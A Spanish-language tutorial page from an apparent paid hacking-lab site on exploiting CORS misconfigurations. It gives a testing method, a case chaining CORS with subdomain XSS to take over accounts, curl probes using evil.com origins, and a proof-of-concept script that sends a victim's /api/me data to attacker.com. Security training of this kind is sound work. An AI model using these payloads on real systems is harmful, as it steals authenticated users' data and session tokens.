Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →CORS Misconfiguration
Exfiltración de datos vía orígenes mal configurados
Respuesta rápida
¿Qué es CORS Misconfiguration?
Una mala configuración de CORS permite que sitios maliciosos lean respuestas de la API de la víctima usando las credenciales del navegador del usuario. Es especialmente peligroso cuando se combina con Allow-Credentials.
Severidad
Alto
Frecuencia
Común
Payloads
7
Pasos
5
Severidad
Alto
Frecuencia
Común
Payloads
7
CORS define qué orígenes pueden leer respuestas de una API. Si el servidor refleja cualquier Origin en Access-Control-Allow-Origin con Allow-Credentials: true, un atacante puede leer datos del usuario autenticado desde su propio dominio.
Dónde buscar
Endpoints de API con datos sensibles
GET /api/me, /api/profile, /api/settings — cualquier endpoint que devuelva datos privados.
APIs con credenciales
Endpoints que requieren cookies o tokens de sesión para funcionar.
Subdominios con XSS
Si CORS permite *.target.com, un XSS en cualquier subdominio permite explotar la misconfig.
Metodología
Buscar headers CORS
Intercepta responses y busca Access-Control-Allow-Origin en endpoints de API.
Enviar Origin malicioso
curl -H 'Origin: https://evil.com' https://target.com/api/me — ¿se refleja?
Verificar Credentials
¿Access-Control-Allow-Credentials: true? Sin esto, las cookies no se envían y no es explotable.
Probar variaciones
Origin: null, Origin: http://target.com.evil.com, Origin: http://evil-target.com
Explotar
Si refleja + credentials → crear página que haga fetch() con credentials:include y envíe los datos a tu servidor.
Caso real
CORS reflect origin + XSS en subdominio → Account Takeover
Detectar CORS permisivo
La API de /api/me refleja cualquier subdominio de target.com con Allow-Credentials: true.
Encontrar XSS en subdominio
XSS reflejado en blog.target.com/search?q=<script>...
Combinar
Desde blog.target.com (permitido por CORS), el XSS hace fetch a api.target.com/api/me con credentials.
Exfiltrar
Los datos del usuario (email, tokens) se envían al servidor del atacante.
Lección: CORS permisivo con subdominios + XSS en cualquier subdominio = exfiltración completa. Audita todos los subdominios cuando veas CORS con wildcard de subdominio.
Payloads
Test básico
curl -H 'Origin: https://evil.com' -v https://target.com/api/me
Origin null
curl -H 'Origin: null' -v https://target.com/api/me
Subdomain matching
curl -H 'Origin: https://target.com.evil.com' -v https://target.com/api/me
Regex bypass
curl -H 'Origin: https://evil-target.com' -v https://target.com/api/me
Payloads avanzados(requiere cuenta)
PoC HTML completo
<script>fetch('https://target.com/api/me',{credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://attacker.com/log?data='+btoa(JSON.stringify(d))))</script>Recon masivo
subfinder -d target.com | httpx | parallel -j 50 curl -sk -H 'Origin: https://evil.com' -o /dev/null -D - {} | grep -i 'access-control'Null origin vía sandbox
<iframe sandbox="allow-scripts" src="data:text/html,<script>fetch(...)...</script>">
Contenido exclusivo
Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass
Crear cuenta gratisHerramientas
CORScanner
Escanea automáticamente misconfiguraciones de CORS.
python3 cors_scan.py -u https://target.com
Burp Suite
Filtrar respuestas que contienen headers CORS para análisis manual.
Proxy → buscar 'Access-Control-Allow-Origin' en responses
Tips
Sin Credentials = no explotable
Si no hay Allow-Credentials: true, las cookies no se envían y no puedes acceder a datos del usuario.
Busca XSS en subdominios
Si CORS permite *.target.com, un XSS en cualquier subdominio permite explotar la misconfig.
Origin: null es peligroso
Se puede enviar desde iframes con sandbox. Si la API acepta null → explotable.
Contenido relacionado
Practica CORS Misconfiguration con labs reales
Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.